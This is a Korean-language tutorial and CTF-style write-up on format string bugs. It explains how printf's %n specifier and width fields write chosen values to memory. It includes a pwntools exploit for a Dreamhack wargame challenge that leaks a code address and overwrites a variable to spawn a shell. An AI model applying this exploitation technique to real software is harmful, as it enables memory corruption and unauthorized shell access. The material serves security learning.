Format String Bug
// fsb_auth.c
#include <stdio.h>
int main(void) {
int auth = 0x42424242;
char buf[32] = {0, };
read(0, buf, 32);
printf(buf);
// make auth to 0xff
}
위의 코드처럼 사용자가 포맷스트링을 입력할 수 있을 경우 발생하는 취약점이다.
포맷스트링으로 사용할 수 있는 형식 지정자는 위와 같다.
이 중에서 n
을 사용하면 특정 주소에 값을 써넣을 수 있게 된다.
그리고 최소너비라는 것을 지정해 줄 수 있는데 이를 통해서 원하는 값을 넣을 수 있게 된다.
dreamhack의 format string bug문제를 풀면서 이해해보자
int changeme;
int main() {
char buf[0x20];
setbuf(stdout, NULL);
while (1) {
get_string(buf, 0x20);
printf(buf);
puts("");
if (changeme == 1337) {
system("/bin/sh");
}
}
}
changeme라는 변수값이 1337일 경우 쉘을 실행한다.
근데 중간에 printf(buf)를 통해 format string bug가 발생하는 것을 알 수 있다.
아까 n을 통해서 특정 주소에 값을 넣을 수 있다고 했고, 최소너비를 이용해 원하는 값을 넣을 수 있다고 했다.
이를 이용해서 changme에 1337를 넣는 payload를 작성해보자
우선 1337을 넣도록 해야한다
payload = b"%1337c"
를 만들고 몇 번째 인자에 이 값을 넣을것인지 정해야한다
x64 환경에서 printf 함수는 RDI에 포맷 스트링을, RSI, RDX, RCX, R8, R9 그리고 스택에 포맷 스트링의 인자를 전달합니다.
예를 들어 printf("%d %d %d %d %d %d %d %d %d", 1, 2, 3, 4, 5, 6, 7, 8, 9);를 호출하면,
1, 2, 3, 4, 5, 6, 7, 8, 9는 각각 RSI, RDX, RCX, R8, R9, [RSP], [RSP+0x8], [RSP+0x10], [RSP+0x18]에 전달됩니다.
payload = b"%1337c%8"
(스택 첫 번째)
payload += b"$nAAAAAA"
(스택 두 번째) 여기서 A의 역할은 8바이트로 맞추기 위한 패딩이다.
payload += p64(changme)
(스택 세 번째) 이렇게 하면 스택의 3번자리에 changeme의 주소가 온다.
즉, RSI, RDX, RCX, R8, R9 + 3으로 8번째의 인자에 위치하게 된다.
from pwn import *
p = remote("host3.dreamhack.games",12108)
elf = ELF("./fsb_overwrite")
p.sendline(b'%15$p')
leaked = int(p.recvline()[:-1], 16)
code_base = leaked - 0x1293
changeme = code_base + elf.symbols['changeme']
payload = b"%1337c%8"
payload += b"$nAAAAAA"
payload += p64(changeme)
p.sendline(payload)
p.interactive()
최종적으로 이렇게 payload를 작성할 수 있다.